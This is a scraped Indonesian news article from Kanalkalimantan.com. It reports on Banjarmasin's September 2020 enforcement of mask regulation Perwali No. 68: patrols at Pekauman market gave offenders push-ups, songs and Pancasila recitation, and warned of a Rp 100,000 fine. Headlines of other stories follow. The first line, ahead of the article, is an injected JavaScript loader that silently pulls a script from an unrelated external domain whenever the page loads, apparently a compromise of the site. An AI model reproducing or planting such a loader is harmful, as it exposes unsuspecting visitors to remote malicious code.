(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Perwali Nomor 68 resmi berlaku mulai Selasa (1/9/2020), meski begitu masih ada masyarakat yang abai terhadap disiplin protokol kesehatan. Terutama penggunaan masker ketika beraktivitas di luar rumah.
Pantauan Kanalkalimantan.com di pasar Pekauman, jalan Rantauan Darat, Banjarmasin Selatan, aparat gabungan dari TNI, Polri dan Satpol PP Kota Banjarmasin mendapati masyarakat yang tidak kenakan masker. Alhasil, warga itu pun dikenakan sanksi, dari teguran hingga sanksi fisik seperti push up.
Salah satunya Johansyah, warga ber-KTP Kabupaten Kapuas, Kalimantan Tengah ini diberikan sanksi push up oleh aparat sebanyak 10 kali, sebagai saksi akibat tidak menggunakan masker.
“Tadi saya lupa menggunakan masker. Padahal saat di pasar menggunakan masker. Ini baru diberi aparat,” aku Johansyah.
Selain Johansyah, Sofwan warga Handil Bhakti, Kabupaten Barito Kuala juga didapati tim penegakan Perwali tidak menggunakan masker. Ia beralasan, lupa menaruh maskernya setelah digunakan.
“Padahal saya sering menggunakan masker, hanya saja lupa menaruhnya di mana,” kata Sofwan.
Alhasil, ia pun diberikan sanksi yaitu menyanyi lagu Banjar dan menghafal teks Pancasila. “Ya, saya jera tak gunakan masker,” imbuh Sofwan.
Sementara itu, saat meninjau lokasi razia di Pasar Pekauman, Dandim 1007/ Banjarmasin Kolonel Czi M Leo Ardiansa Saragi mengatakan, sanksi bertujuan agar memberikan efek jera kepada masyarakat. Karena, menggunakan masker bertujuan untuk melindungi dirinya sendiri dan orang lain.
“Kita beberapa menit disini saja ada belasan orang yang terjaring. Rupanya dari masyarakat yang terjaring menyampaikan bahwa mereka belum tahu dengan Perwali ini,” kata Kolonel Leo.
Dandim menambahkan, nama-nama masyarakat yang terjaring akan masuk database yang dicatat oleh aparat Satpol PP Kota Banjarmasin. Nantinya, jika didapati mengulang kesalahan yang sama, maka tidak menutup kemungkinan akan diberikan sanksi berupa denda Rp 100 ribu.
“Kita kasih warning, berupa surat peringatan dan kita masukkan ke database. Apabila berikutnya mereka tidak memakai (masker), maka langsung denda,” tandas Dandim. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.